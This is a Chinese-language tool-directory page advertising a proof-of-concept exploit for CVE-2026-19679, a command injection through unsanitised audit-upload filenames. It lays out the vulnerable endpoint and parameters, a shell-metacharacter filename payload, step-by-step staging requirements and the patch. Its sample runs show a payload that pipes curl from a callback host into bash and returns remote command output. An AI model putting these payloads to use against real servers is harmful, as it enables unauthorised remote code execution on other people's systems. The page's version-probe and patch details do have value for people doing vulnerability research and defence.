Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
POC-CVE-2026-19679 — 针对 CVE-2026-19679 的概念验证漏洞利用程序,该漏洞源于审计文件上传时文件名清理不充分,可导致命令注入。包含差异版本探测及用于远程命令执行的 exec 模式。 | Kitploit
工具/GitHubGitHub/h00die/poc-cve-2026-19679
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制Payload 开发
GitHubh00die/poc-cve-2026-19679

POC-CVE-2026-19679

针对 CVE-2026-19679 的概念验证漏洞利用程序,该漏洞源于审计文件上传时文件名清理不充分,可导致命令注入。包含差异版本探测及用于远程命令执行的 exec 模式。

查看仓库
21小时11分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

InfoGraphic

CVE-2026-19679 —— 上传文件名清理不足(输入验证)

状态:已确认,在 6.7.2-14.el9 实验室环境(2026-08-20)中验证。POST /rest/auditFile 携带 tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml" 返回 HTTP 200,并 注册了 AuditFile #1000002 —— 该包含 shell 元字符的文件名通过了验证并被 端到端存储。在 6.9.0 上,同一请求被拒绝,返回 "Invalid tailoring filename."。

漏洞

审计文件上传参数(filename、tailoringFilename、 tailoringOriginalFilename)使用 PARAM_FILENAME (Utility::validateParams())进行验证,该方法仅检查三项:非空、不含 (与 相等),以及暂存文件是否存在。 —— 、、反引号、 和空格均可原样通过。

/
basename()
没有任何字符集 约束
;
$()
${IFS}

这些名称随后流入:

  • rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") —— AuditFileLib.php:2307(会创建一个名称中包含任意元字符的文件)
  • SCAP zip 重新打包命令 —— exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc"),其中未转义的 $tmpZipFile 源自 客户端的 filename 参数 —— 即 CVE-2026-19681 的下游命令注入。

实验室验证的边界:路径遍历不属于 6.9 之前的缺陷 —— 两个定制 参数均拒绝 /(对 ../ 载荷返回错误 146 Invalid syntax for attribute ...)。 缺失的正是字符集过滤器,这就是 CVE 描述中 “可能助长下游命令注入”所指的内容。

补丁(6.9.0)

AuditFiles::applySCAPTailoringFile():

root@kitploit:~
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
    ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);

再加上对两个名称的 basename() 以及对 zip 操作数的 escapeshellarg()。

PoC

差分版本探测 —— 一次请求,各版本结果相反:

root@kitploit:~
./poc.py --target https://sc.lab --username analyst --password 'pass'
  • ≤ 6.8.x → HTTP 200(审计文件以元字符名称创建)或错误 106 (执行后回弹;名称仍到达 rename()/zip)→ 无字符集验证
  • 6.9.0 → 立即返回 "Invalid tailoring filename."

操作说明(均经实验室验证):

  • 上传资源为 /rest/file/upload(multipart Filedata、context 表单字段)
  • 审计 zip 以空白 context 暂存 —— context=auditFile 会对 zip 执行内容检测(对伪 zip 返回错误 107)
  • 定制文件必须包含可解析的 datastream XML,且至少含 1 个 Profile(内嵌)
  • auditFile 请求体需要 type=scapLinux|scapWindows、version=1.2、benchmarkName、 dataStreamName

与 CVE-2026-19681 的关系

19679 是验证缺口;19681 是 exec 汇聚点。同一上传流程同时 触发两者:19681 通过上传 context 前缀在暂存的 filename 中植入 元字符,并通过未转义的 $tmpZipFile 触发它们;19679 则证明 同类参数接受相同的字符类别,直至(并进入)同一条命令字符串。6.9.0 在同一提交区域修复了两侧:字符集 + basename + escapeshellarg。

示例运行

root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
下载工具